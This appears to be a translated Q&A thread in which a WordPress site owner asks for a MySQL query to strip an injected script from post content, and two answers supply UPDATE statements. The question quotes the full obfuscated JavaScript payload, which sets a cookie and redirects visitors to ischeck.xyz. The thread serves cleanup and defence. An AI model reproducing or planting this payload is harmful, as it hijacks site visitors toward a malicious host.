查询MySQL以搜索字符串，并将同一列替换为从0到字符串找到位置的子字符串

Question

我正在删除一个wordpress攻击，该攻击独立于文件，使用恶意脚本更新所有wp_posts表。列post_content的示例如下：

<p>[/mvc_price_listing][/vc_column_inner][vc_column_inner width="1/2"][promo_banner image="9510"][/promo_banner][mvc_price_listing price_visibility="none" price_title="Ladrillo Fiscal Artesanal<br />
<small>Generico</small>" top_bg="#c41200"]</p>
<p>[/mvc_price_listing][/vc_column_inner][/vc_row_inner][/vc_column][vc_column width="1/6"][/vc_column][/vc_row]</p>
<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://ischeck.xyz/?pma1','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script>

所以我发现所有的病毒脚本都在最后一个内容中，长度是动态的，并且总是以："var _0x2cf4"开头

因此，我的问题是，我必须为执行wp_posts表的查询做些什么，该表将post_content的内容仅替换为第一部分，直到找到"var_0x2cf4"为止。

非常感谢：(

Answer 1

您似乎被Overzoruaon广告软件传播机器人击中。数字"_0x2cf4"实际上是随机，并且可能在尝试之间发生变化，因此最好不要依赖它。

您实际上想要删除<script>标记。所以我认为

UPDATE wp_posts SET post_content = SUBSTRING_INDEX(post_content, '<script>', 1);

将删除从第一个<script>开始的所有内容。

此外，我强烈建议您安装XSS防御插件和/或将<script(无闭角括号(设为禁用词。

Answer 2

您可以使用字符串函数：

update wp_posts 
set post_content = substring(post_content , 1, locate('_0x2cf4', post_content) - 1)
where substring(post_content , 1, locate('_0x2cf4', post_content) - 1) > 0

locate('_0x2cf4', post_content)给出了post_content中''_0x2cf4'的索引；然后，您可以获取从字符串开始到该位置的所有内容，减去1。where子句确保只更新"已感染"的值。

在运行update查询之前，可以确保它使用以下select:生成预期结果

select 
post_content, 
substring(post_content , 1, locate('_0x2cf4', post_content) - 1)
from wp_posts
where substring(post_content , 1, locate('_0x2cf4', post_content) - 1) > 0